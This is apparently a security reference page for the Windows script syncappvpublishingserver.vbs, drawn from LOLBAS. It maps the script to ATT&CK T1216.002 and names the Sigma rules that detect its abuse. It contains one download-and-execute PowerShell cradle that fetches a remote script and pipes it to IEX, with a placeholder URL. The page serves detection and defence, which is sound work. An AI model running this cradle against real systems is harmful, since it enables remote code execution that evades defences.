Identifier / Programs / Windows
syncappvpublishingserver.vbs
LOLBAS Execute 1 ATT&CK technique 1 documented command
How syncappvpublishingserver.vbs is abused
Execute T1216.002 System Script Proxy Execution: SyncAppvPublishingServer
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for syncappvpublishingserver.vbs.
1 documented command
Execute T1216.002 System Script Proxy Execution: SyncAppvPublishingServer User privileges
Inject PowerShell script code with the provided arguments
SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"Trips 2 Sigma rules: highPowerShell Download and Execution Cradles by Florian Roth (Nextron Systems); mediumSuspicious PowerShell Invocations - Specific - ProcessCreation by Nasreddine Bencherchali (Nextron Systems)
The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for syncappvpublishingserver.vbs, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for syncappvpublishingserver.vbs. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.